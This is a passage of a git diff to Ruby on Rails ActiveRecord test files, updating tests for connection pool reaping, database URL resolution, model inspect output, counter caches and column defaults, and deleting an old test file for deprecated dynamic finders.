- @pool.dead_connection_timeout = 0
connections = @pool.connections.dup
@@ -134,21 +133,25 @@ module ActiveRecord
end
def test_reap_inactive
+ ready = ActiveSupport::Concurrency::Latch.new
@pool.checkout
- @pool.checkout
- @pool.checkout
- @pool.dead_connection_timeout = 0
-
- connections = @pool.connections.dup
- connections.each do |conn|
- conn.extend(Module.new { def active?; false; end; })
+ child = Thread.new do
+ @pool.checkout
+ @pool.checkout
+ ready.release
+ Thread.stop
end
+ ready.await
+
+ assert_equal 3, active_connections(@pool).size
+ child.terminate
+ child.join
@pool.reap
- assert_equal 0, @pool.connections.length
+ assert_equal 1, active_connections(@pool).size
ensure
- connections.each(&:close)
+ @pool.connections.each(&:close)
end
def test_remove_connection
@@ -185,7 +188,7 @@ module ActiveRecord
assert_not_nil connection
threads = []
4.times do |i|
- threads << Thread.new(i) do |pool_count|
+ threads << Thread.new(i) do
connection = pool.connection
assert_not_nil connection
connection.close
@@ -327,6 +330,17 @@ module ActiveRecord
def test_pool_sets_connection_visitor
assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql)
end
+
+ # make sure exceptions are thrown when establish_connection
+ # is called with an anonymous class
+ def test_anonymous_class_exception
+ anonymous = Class.new(ActiveRecord::Base)
+ handler = ActiveRecord::Base.connection_handler
+
+ assert_raises(RuntimeError) {
+ handler.establish_connection anonymous, nil
+ }
+ end
end
end
end
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
index ee9818678d..3c2f5d4219 100644
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -4,46 +4,112 @@ module ActiveRecord
module ConnectionAdapters
class ConnectionSpecification
class ResolverTest < ActiveRecord::TestCase
- def resolve(spec)
- Resolver.new(spec, {}).spec.config
+ def resolve(spec, config={})
+ Resolver.new(config).resolve(spec)
+ end
+
+ def spec(spec, config={})
+ Resolver.new(config).spec(spec)
+ end
+
+ def test_url_invalid_adapter
+ error = assert_raises(LoadError) do
+ spec 'ridiculous://foo?encoding=utf8'
+ end
+
+ assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
+ end
+
+ # The abstract adapter is used simply to bypass the bit of code that
+ # checks that the adapter file can be required in.
+
+ def test_url_from_environment
+ spec = resolve :production, 'production' => 'abstract://foo?encoding=utf8'
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
+ def test_url_sub_key
+ spec = resolve :production, 'production' => {"url" => 'abstract://foo?encoding=utf8'}
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
+ def test_url_sub_key_merges_correctly
+ hash = {"url" => 'abstract://foo?encoding=utf8&', "adapter" => "sqlite3", "host" => "bar", "pool" => "3"}
+ spec = resolve :production, 'production' => hash
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8",
+ "pool" => "3" }, spec)
end
def test_url_host_no_db
- skip "only if mysql is available" unless current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
- spec = resolve 'mysql://foo?encoding=utf8'
+ spec = resolve 'abstract://foo?encoding=utf8'
assert_equal({
- :adapter => "mysql",
- :host => "foo",
- :encoding => "utf8" }, spec)
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_url_host_db
- skip "only if mysql is available" unless current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
- spec = resolve 'mysql://foo/bar?encoding=utf8'
+ spec = resolve 'abstract://foo/bar?encoding=utf8'
assert_equal({
- :adapter => "mysql",
- :database => "bar",
- :host => "foo",
- :encoding => "utf8" }, spec)
+ "adapter" => "abstract",
+ "database" => "bar",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_url_port
- skip "only if mysql is available" unless current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
- spec = resolve 'mysql://foo:123?encoding=utf8'
+ spec = resolve 'abstract://foo:123?encoding=utf8'
assert_equal({
- :adapter => "mysql",
- :port => 123,
- :host => "foo",
- :encoding => "utf8" }, spec)
+ "adapter" => "abstract",
+ "port" => 123,
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_encoded_password
- skip "only if mysql is available" unless current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
password = 'am@z1ng_p@ssw0rd#!'
encoded_password = URI.encode_www_form_component(password)
- spec = resolve "mysql://foo:#{encoded_password}@localhost/bar"
- assert_equal password, spec[:password]
+ spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
+ assert_equal password, spec["password"]
+ end
+
+ def test_url_with_authority_for_sqlite3
+ spec = resolve 'sqlite3:///foo_test'
+ assert_equal('/foo_test', spec["database"])
+ end
+
+ def test_url_absolute_path_for_sqlite3
+ spec = resolve 'sqlite3:/foo_test'
+ assert_equal('/foo_test', spec["database"])
+ end
+
+ def test_url_relative_path_for_sqlite3
+ spec = resolve 'sqlite3:foo_test'
+ assert_equal('foo_test', spec["database"])
end
+
+ def test_url_memory_db_for_sqlite3
+ spec = resolve 'sqlite3::memory:'
+ assert_equal(':memory:', spec["database"])
+ end
+
+ def test_url_sub_key_for_sqlite3
+ spec = resolve :production, 'production' => {"url" => 'sqlite3:foo?encoding=utf8'}
+ assert_equal({
+ "adapter" => "sqlite3",
+ "database" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
end
end
end
diff --git a/activerecord/test/cases/core_test.rb b/activerecord/test/cases/core_test.rb
new file mode 100644
index 0000000000..715d92af99
--- /dev/null
+++ b/activerecord/test/cases/core_test.rb
@@ -0,0 +1,101 @@
+require 'cases/helper'
+require 'models/person'
+require 'models/topic'
+require 'pp'
+require 'active_support/core_ext/string/strip'
+
+class NonExistentTable < ActiveRecord::Base; end
+
+class CoreTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_inspect_class
+ assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
+ assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
+ assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
+ end
+
+ def test_inspect_instance
+ topic = topics(:first)
+ assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), topic.inspect
+ end
+
+ def test_inspect_new_instance
+ assert_match(/Topic id: nil/, Topic.new.inspect)
+ end
+
+ def test_inspect_limited_select_instance
+ assert_equal %(#<Topic id: 1>), Topic.all.merge!(:select => 'id', :where => 'id = 1').first.inspect
+ assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(:select => 'id, title', :where => 'id = 1').first.inspect
+ end
+
+ def test_inspect_class_without_table
+ assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
+ end
+
+ def test_pretty_print_new
+ topic = Topic.new
+ actual = ''
+ PP.pp(topic, StringIO.new(actual))
+ expected = <<-PRETTY.strip_heredoc
+ #<Topic:0xXXXXXX
+ id: nil,
+ title: nil,
+ author_name: nil,
+ author_email_address: "test@test.com",
+ written_on: nil,
+ bonus_time: nil,
+ last_read: nil,
+ content: nil,
+ important: nil,
+ approved: true,
+ replies_count: 0,
+ unique_replies_count: 0,
+ parent_id: nil,
+ parent_title: nil,
+ type: nil,
+ group: nil,
+ created_at: nil,
+ updated_at: nil>
+ PRETTY
+ assert actual.start_with?(expected.split('XXXXXX').first)
+ assert actual.end_with?(expected.split('XXXXXX').last)
+ end
+
+ def test_pretty_print_persisted
+ topic = topics(:first)
+ actual = ''
+ PP.pp(topic, StringIO.new(actual))
+ expected = <<-PRETTY.strip_heredoc
+ #<Topic:0x\\w+
+ id: 1,
+ title: "The First Topic",
+ author_name: "David",
+ author_email_address: "david@loudthinking.com",
+ written_on: 2003-07-16 14:28:11 UTC,
+ bonus_time: 2000-01-01 14:28:00 UTC,
+ last_read: Thu, 15 Apr 2004,
+ content: "Have a nice day",
+ important: nil,
+ approved: false,
+ replies_count: 1,
+ unique_replies_count: 0,
+ parent_id: nil,
+ parent_title: nil,
+ type: nil,
+ group: nil,
+ created_at: [^,]+,
+ updated_at: [^,>]+>
+ PRETTY
+ assert_match(/\A#{expected}\z/, actual)
+ end
+
+ def test_pretty_print_uninitialized
+ topic = Topic.allocate
+ actual = ''
+ PP.pp(topic, StringIO.new(actual))
+ expected = "#<Topic:XXXXXX not initialized>\n"
+ assert actual.start_with?(expected.split('XXXXXX').first)
+ assert actual.end_with?(expected.split('XXXXXX').last)
+ end
+end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
index fc46a249c8..07a182070b 100644
--- a/activerecord/test/cases/counter_cache_test.rb
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -19,6 +19,7 @@ class CounterCacheTest < ActiveRecord::TestCase
class ::SpecialTopic < ::Topic
has_many :special_replies, :foreign_key => 'parent_id'
+ has_many :lightweight_special_replies, -> { select('topics.id, topics.title') }, :foreign_key => 'parent_id', :class_name => 'SpecialReply'
end
class ::SpecialReply < ::Reply
@@ -51,6 +52,23 @@ class CounterCacheTest < ActiveRecord::TestCase
end
end
+ test "reset counters by counter name" do
+ # throw the count off by 1
+ Topic.increment_counter(:replies_count, @topic.id)
+
+ # check that it gets reset
+ assert_difference '@topic.reload.replies_count', -1 do
+ Topic.reset_counters(@topic.id, :replies_count)
+ end
+ end
+
+ test 'reset multiple counters' do
+ Topic.update_counters @topic.id, replies_count: 1, unique_replies_count: 1
+ assert_difference ['@topic.reload.replies_count', '@topic.reload.unique_replies_count'], -1 do
+ Topic.reset_counters(@topic.id, :replies, :unique_replies)
+ end
+ end
+
test "reset counters with string argument" do
Topic.increment_counter('replies_count', @topic.id)
@@ -115,10 +133,25 @@ class CounterCacheTest < ActiveRecord::TestCase
end
end
+ test 'update multiple counters' do
+ assert_difference ['@topic.reload.replies_count', '@topic.reload.unique_replies_count'], 2 do
+ Topic.update_counters @topic.id, replies_count: 2, unique_replies_count: 2
+ end
+ end
+
+ test "update other counters on parent destroy" do
+ david, joanna = dog_lovers(:david, :joanna)
+ joanna = joanna # squelch a warning
+
+ assert_difference 'joanna.reload.dogs_count', -1 do
+ david.destroy
+ end
+ end
+
test "reset the right counter if two have the same foreign key" do
michael = people(:michael)
assert_nothing_raised(ActiveRecord::StatementInvalid) do
- Person.reset_counters(michael.id, :followers)
+ Person.reset_counters(michael.id, :friends_too)
end
end
@@ -131,4 +164,20 @@ class CounterCacheTest < ActiveRecord::TestCase
Subscriber.reset_counters(subscriber.id, 'books')
end
end
+
+ test "the passed symbol needs to be an association name or counter name" do
+ e = assert_raises(ArgumentError) do
+ Topic.reset_counters(@topic.id, :undefined_count)
+ end
+ assert_equal "'Topic' has no association called 'undefined_count'", e.message
+ end
+
+ test "reset counter works with select declared on association" do
+ special = SpecialTopic.create!(:title => 'Special')
+ SpecialTopic.increment_counter(:replies_count, special.id)
+
+ assert_difference 'special.reload.replies_count', -1 do
+ SpecialTopic.reset_counters(special.id, :lightweight_special_replies)
+ end
+ end
end
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
index 3deb0dac99..c0491bbee5 100644
--- a/activerecord/test/cases/date_time_test.rb
+++ b/activerecord/test/cases/date_time_test.rb
@@ -5,18 +5,18 @@ require 'models/task'
class DateTimeTest < ActiveRecord::TestCase
def test_saves_both_date_and_time
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
time_values = [1807, 2, 10, 15, 30, 45]
# create DateTime value with local time zone offset
- local_offset = Rational(Time.local_time(*time_values).utc_offset, 86400)
+ local_offset = Rational(Time.local(*time_values).utc_offset, 86400)
now = DateTime.civil(*(time_values + [local_offset]))
task = Task.new
task.starting = now
task.save!
- # check against Time.local_time, since some platforms will return a Time instead of a DateTime
- assert_equal Time.local_time(*time_values), Task.find(task.id).starting
+ # check against Time.local, since some platforms will return a Time instead of a DateTime
+ assert_equal Time.local(*time_values), Task.find(task.id).starting
end
end
end
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index ed7eedaa27..e9bc583bf4 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -18,28 +18,76 @@ class DefaultTest < ActiveRecord::TestCase
end
end
- if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
- def test_default_integers
- default = Default.new
- assert_instance_of Fixnum, default.positive_integer
- assert_equal 1, default.positive_integer
- assert_instance_of Fixnum, default.negative_integer
- assert_equal(-1, default.negative_integer)
- assert_instance_of BigDecimal, default.decimal_number
- assert_equal BigDecimal.new("2.78"), default.decimal_number
- end
- end
-
if current_adapter?(:PostgreSQLAdapter)
def test_multiline_default_text
+ record = Default.new
# older postgres versions represent the default with escapes ("\\012" for a newline)
- assert( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
- "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
+ assert("--- []\n\n" == record.multiline_default || "--- []\\012\\012" == record.multiline_default)
end
end
end
-if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+class DefaultNumbersTest < ActiveRecord::TestCase
+ class DefaultNumber < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table :default_numbers do |t|
+ t.integer :positive_integer, default: 7
+ t.integer :negative_integer, default: -5
+ t.decimal :decimal_number, default: "2.78", precision: 5, scale: 2
+ end
+ end
+
+ teardown do
+ @connection.drop_table "default_numbers" if @connection.table_exists? 'default_numbers'
+ end
+
+ def test_default_positive_integer
+ record = DefaultNumber.new
+ assert_equal 7, record.positive_integer
+ assert_equal "7", record.positive_integer_before_type_cast
+ end
+
+ def test_default_negative_integer
+ record = DefaultNumber.new
+ assert_equal (-5), record.negative_integer
+ assert_equal "-5", record.negative_integer_before_type_cast
+ end
+
+ def test_default_decimal_number
+ record = DefaultNumber.new
+ assert_equal BigDecimal.new("2.78"), record.decimal_number
+ assert_equal "2.78", record.decimal_number_before_type_cast
+ end
+end
+
+class DefaultStringsTest < ActiveRecord::TestCase
+ class DefaultString < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table :default_strings do |t|
+ t.string :string_col, default: "Smith"
+ t.string :string_col_with_quotes, default: "O'Connor"
+ end
+ DefaultString.reset_column_information
+ end
+
+ def test_default_strings
+ assert_equal "Smith", DefaultString.new.string_col
+ end
+
+ def test_default_strings_containing_single_quotes
+ assert_equal "O'Connor", DefaultString.new.string_col_with_quotes
+ end
+
+ teardown do
+ @connection.drop_table :default_strings
+ end
+end
+
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
# ActiveRecord::Base#create! (and #save and other related methods) will
# open a new transaction. When in transactional fixtures mode, this will
@@ -74,19 +122,21 @@ if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
def test_mysql_text_not_null_defaults_non_strict
using_strict(false) do
with_text_blob_not_null_table do |klass|
- assert_equal '', klass.columns_hash['non_null_blob'].default
- assert_equal '', klass.columns_hash['non_null_text'].default
+ record = klass.new
+ assert_equal '', record.non_null_blob
+ assert_equal '', record.non_null_text
- assert_nil klass.columns_hash['null_blob'].default
- assert_nil klass.columns_hash['null_text'].default
+ assert_nil record.null_blob
+ assert_nil record.null_text
- instance = klass.create!
+ record.save!
+ record.reload
- assert_equal '', instance.non_null_text
- assert_equal '', instance.non_null_blob
+ assert_equal '', record.non_null_text
+ assert_equal '', record.non_null_blob
- assert_nil instance.null_text
- assert_nil instance.null_blob
+ assert_nil record.null_text
+ assert_nil record.null_blob
end
end
end
@@ -94,10 +144,11 @@ if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
def test_mysql_text_not_null_defaults_strict
using_strict(true) do
with_text_blob_not_null_table do |klass|
- assert_nil klass.columns_hash['non_null_blob'].default
- assert_nil klass.columns_hash['non_null_text'].default
- assert_nil klass.columns_hash['null_blob'].default
- assert_nil klass.columns_hash['null_text'].default
+ record = klass.new
+ assert_nil record.non_null_blob
+ assert_nil record.non_null_text
+ assert_nil record.null_blob
+ assert_nil record.null_text
assert_raises(ActiveRecord::StatementInvalid) { klass.create }
end
@@ -129,7 +180,7 @@ if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
t.column :omit, :integer, :null => false
end
- assert_equal 0, klass.columns_hash['zero'].default
+ assert_equal '0', klass.columns_hash['zero'].default
assert !klass.columns_hash['zero'].null
# 0 in MySQL 4, nil in 5.
assert [0, nil].include?(klass.columns_hash['omit'].default)
@@ -147,43 +198,3 @@ if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
end
end
end
-
-if current_adapter?(:PostgreSQLAdapter)
- class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase
- def setup
- @connection = ActiveRecord::Base.connection
-
- @old_search_path = @connection.schema_search_path
- @connection.schema_search_path = "schema_1, pg_catalog"
- @connection.create_table "defaults" do |t|
- t.text "text_col", :default => "some value"
- t.string "string_col", :default => "some value"
- end
- Default.reset_column_information
- end
-
- def test_text_defaults_in_new_schema_when_overriding_domain
- assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parse"
- end
-
- def test_string_defaults_in_new_schema_when_overriding_domain
- assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parse"
- end
-
- def test_bpchar_defaults_in_new_schema_when_overriding_domain
- @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'"
- Default.reset_column_information
- assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parse"
- end
-
- def test_text_defaults_after_updating_column_default
- @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text"
- assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parse after updating default using '::text' since postgreSQL will add parens to the default in db"
- end
-
- def teardown
- @connection.schema_search_path = @old_search_path
- Default.reset_column_information
- end
- end
-end
diff --git a/activerecord/test/cases/deprecated_dynamic_methods_test.rb b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
deleted file mode 100644
index dde36e7f72..0000000000
--- a/activerecord/test/cases/deprecated_dynamic_methods_test.rb
+++ /dev/null
@@ -1,592 +0,0 @@
-# This file should be deleted when activerecord-deprecated_finders is removed as
-# a dependency.
-#
-# It is kept for now as there is some fairly nuanced behaviour in the dynamic
-# finders so it is useful to keep this around to guard against regressions if
-# we need to change the code.
-
-require 'cases/helper'
-require 'models/topic'
-require 'models/reply'
-require 'models/customer'
-require 'models/post'
-require 'models/company'
-require 'models/author'
-require 'models/category'
-require 'models/comment'
-require 'models/person'
-require 'models/reader'
-
-class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
- fixtures :topics, :customers, :companies, :accounts, :posts, :categories, :categories_posts, :authors, :people, :comments, :readers
-
- def setup
- @deprecation_behavior = ActiveSupport::Deprecation.behavior
- ActiveSupport::Deprecation.behavior = :silence
- end
-
- def teardown
- ActiveSupport::Deprecation.behavior = @deprecation_behavior
- end
-
- def test_find_all_by_one_attribute
- topics = Topic.find_all_by_content("Have a nice day")
- assert_equal 2, topics.size
- assert topics.include?(topics(:first))
-
- assert_equal [], Topic.find_all_by_title("The First Topic!!")
- end
-
- def test_find_all_by_one_attribute_which_is_a_symbol
- topics = Topic.find_all_by_content("Have a nice day".to_sym)
- assert_equal 2, topics.size
- assert topics.include?(topics(:first))
-
- assert_equal [], Topic.find_all_by_title("The First Topic!!")
- end
-
- def test_find_all_by_one_attribute_that_is_an_aggregate
- balance = customers(:david).balance
- assert_kind_of Money, balance
- found_customers = Customer.find_all_by_balance(balance)
- assert_equal 1, found_customers.size
- assert_equal customers(:david), found_customers.first
- end
-
- def test_find_all_by_two_attributes_that_are_both_aggregates
- balance = customers(:david).balance
- address = customers(:david).address
- assert_kind_of Money, balance
- assert_kind_of Address, address
- found_customers = Customer.find_all_by_balance_and_address(balance, address)
- assert_equal 1, found_customers.size
- assert_equal customers(:david), found_customers.first
- end
-
- def test_find_all_by_two_attributes_with_one_being_an_aggregate
- balance = customers(:david).balance
- assert_kind_of Money, balance
- found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
- assert_equal 1, found_customers.size
- assert_equal customers(:david), found_customers.first
- end
-
- def test_find_all_by_one_attribute_with_options
- topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
- assert_equal topics(:first), topics.last
-
- topics = Topic.find_all_by_content("Have a nice day", :order => "id")
- assert_equal topics(:first), topics.first
- end
-
- def test_find_all_by_array_attribute
- assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
- end
-
- def test_find_all_by_boolean_attribute
- topics = Topic.find_all_by_approved(false)
- assert_equal 1, topics.size
- assert topics.include?(topics(:first))
-
- topics = Topic.find_all_by_approved(true)
- assert_equal 3, topics.size
- assert topics.include?(topics(:second))
- end
-
- def test_find_all_by_nil_and_not_nil_attributes
- topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
- assert_equal 1, topics.size
- assert_equal "Mary", topics[0].author_name
- end
-
- def test_find_or_create_from_one_attribute
- number_of_companies = Company.count
- sig38 = Company.find_or_create_by_name("38signals")
- assert_equal number_of_companies + 1, Company.count
- assert_equal sig38, Company.find_or_create_by_name("38signals")
- assert sig38.persisted?
- end
-
- def test_find_or_create_from_two_attributes
- number_of_topics = Topic.count
- another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
- assert_equal number_of_topics + 1, Topic.count
- assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
- assert another.persisted?
- end
-
- def test_find_or_create_from_one_attribute_bang
- number_of_companies = Company.count
- assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name!("") }
- assert_equal number_of_companies, Company.count
- sig38 = Company.find_or_create_by_name!("38signals")
- assert_equal number_of_companies + 1, Company.count
- assert_equal sig38, Company.find_or_create_by_name!("38signals")
- assert sig38.persisted?
- end
-
- def test_find_or_create_from_two_attributes_bang
- number_of_companies = Company.count
- assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name_and_firm_id!("", 17) }
- assert_equal number_of_companies, Company.count
- sig38 = Company.find_or_create_by_name_and_firm_id!("38signals", 17)
- assert_equal number_of_companies + 1, Company.count
- assert_equal sig38, Company.find_or_create_by_name_and_firm_id!("38signals", 17)
- assert sig38.persisted?
- assert_equal "38signals", sig38.name
- assert_equal 17, sig38.firm_id
- end
-
- def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
- number_of_customers = Customer.count
- created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
- assert_equal number_of_customers + 1, Customer.count
- assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
- assert created_customer.persisted?
- end
-
- def test_find_or_create_from_one_attribute_and_hash
- number_of_companies = Company.count
- sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
- assert_equal number_of_companies + 1, Company.count
- assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
- assert sig38.persisted?
- assert_equal "38signals", sig38.name
- assert_equal 17, sig38.firm_id
- assert_equal 23, sig38.client_of
- end
-
- def test_find_or_create_from_two_attributes_and_hash
- number_of_companies = Company.count
- sig38 = Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
- assert_equal number_of_companies + 1, Company.count
- assert_equal sig38, Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
- assert sig38.persisted?
- assert_equal "38signals", sig38.name
- assert_equal 17, sig38.firm_id
- assert_equal 23, sig38.client_of
- end
-
- def test_find_or_create_from_one_aggregate_attribute
- number_of_customers = Customer.count
- created_customer = Customer.find_or_create_by_balance(Money.new(123))
- assert_equal number_of_customers + 1, Customer.count
- assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
- assert created_customer.persisted?
- end
-
- def test_find_or_create_from_one_aggregate_attribute_and_hash
- number_of_customers = Customer.count
- balance = Money.new(123)
- name = "Elizabeth"
- created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
- assert_equal number_of_customers + 1, Customer.count
- assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
- assert created_customer.persisted?
- assert_equal balance, created_customer.balance
- assert_equal name, created_customer.name
- end
-
- def test_find_or_initialize_from_one_attribute
- sig38 = Company.find_or_initialize_by_name("38signals")
- assert_equal "38signals", sig38.name
- assert !sig38.persisted?
- end
-
- def test_find_or_initialize_from_one_aggregate_attribute
- new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
- assert_equal 123, new_customer.balance.amount
- assert !new_customer.persisted?
- end
-
- def test_find_or_initialize_from_one_attribute_should_set_attribute
- c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
- assert_equal "Fortune 1000", c.name
- assert_equal 1000, c.rating
- assert c.valid?
- assert !c.persisted?
- end
-
- def test_find_or_create_from_one_attribute_should_set_attribute
- c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
- assert_equal "Fortune 1000", c.name
- assert_equal 1000, c.rating
- assert c.valid?
- assert c.persisted?
- end
-
- def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_set_the_hash
- c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
- assert_equal "Fortune 1000", c.name
- assert_equal 1000, c.rating
- assert c.valid?
- assert !c.persisted?
- end
-
- def test_find_or_create_from_one_attribute_should_set_attribute_even_when_set_the_hash
- c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
- assert_equal "Fortune 1000", c.name
- assert_equal 1000, c.rating
- assert c.valid?
- assert c.persisted?
- end
-
- def test_find_or_initialize_should_set_attributes_if_given_as_block
- c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
- assert_equal "Fortune 1000", c.name
- assert_equal 1000.to_f, c.rating.to_f
- assert c.valid?
- assert !c.persisted?
- end
-
- def test_find_or_create_should_set_attributes_if_given_as_block
- c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
- assert_equal "Fortune 1000", c.name
- assert_equal 1000.to_f, c.rating.to_f
- assert c.valid?
- assert c.persisted?
- end
-
- def test_find_or_create_should_work_with_block_on_first_call
- class << Company
- undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
- end
- c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
- assert_equal "Fortune 1000", c.name
- assert_equal 1000.to_f, c.rating.to_f
- assert c.valid?
- assert c.persisted?
- end
-
- def test_find_or_initialize_from_two_attributes
- another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
- assert_equal "Another topic", another.title
- assert_equal "John", another.author_name
- assert !another.persisted?
- end
-
- def test_find_or_initialize_from_two_attributes_but_passing_only_one
- assert_raise(ArgumentError) { Topic.find_or_initialize_by_title_and_author_name("Another topic") }
- end
-
- def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
- new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
- assert_equal 123, new_customer.balance.amount
- assert_equal "Elizabeth", new_customer.name
- assert !new_customer.persisted?
- end
-
- def test_find_or_initialize_from_one_attribute_and_hash
- sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
- assert_equal "38signals", sig38.name
- assert_equal 17, sig38.firm_id
- assert_equal 23, sig38.client_of
- assert !sig38.persisted?
- end
-
- def test_find_or_initialize_from_one_aggregate_attribute_and_hash
- balance = Money.new(123)
- name = "Elizabeth"
- new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
- assert_equal balance, new_customer.balance
- assert_equal name, new_customer.name
- assert !new_customer.persisted?
- end
-
- def test_find_last_by_one_attribute
- assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
- assert_nil Topic.find_last_by_title("A title with no matches")
- end
-
- def test_find_last_by_invalid_method_syntax
- assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
- assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
- end
-
- def test_find_last_by_one_attribute_with_several_options
- assert_equal accounts(:signals37), Account.order('id DESC').where('id != ?', 3).find_last_by_credit_limit(50)
- end
-
- def test_find_last_by_one_missing_attribute
- assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
- end
-
- def test_find_last_by_two_attributes
- topic = Topic.last
- assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
- assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
- end
-
- def test_find_last_with_limit_gives_same_result_when_loaded_and_unloaded
- scope = Topic.limit(2)
- unloaded_last = scope.last
- loaded_last = scope.to_a.last
- assert_equal loaded_last, unloaded_last
- end
-
- def test_find_last_with_limit_and_offset_gives_same_result_when_loaded_and_unloaded
- scope = Topic.offset(2).limit(2)
- unloaded_last = scope.last
- loaded_last = scope.to_a.last
- assert_equal loaded_last, unloaded_last
- end
-
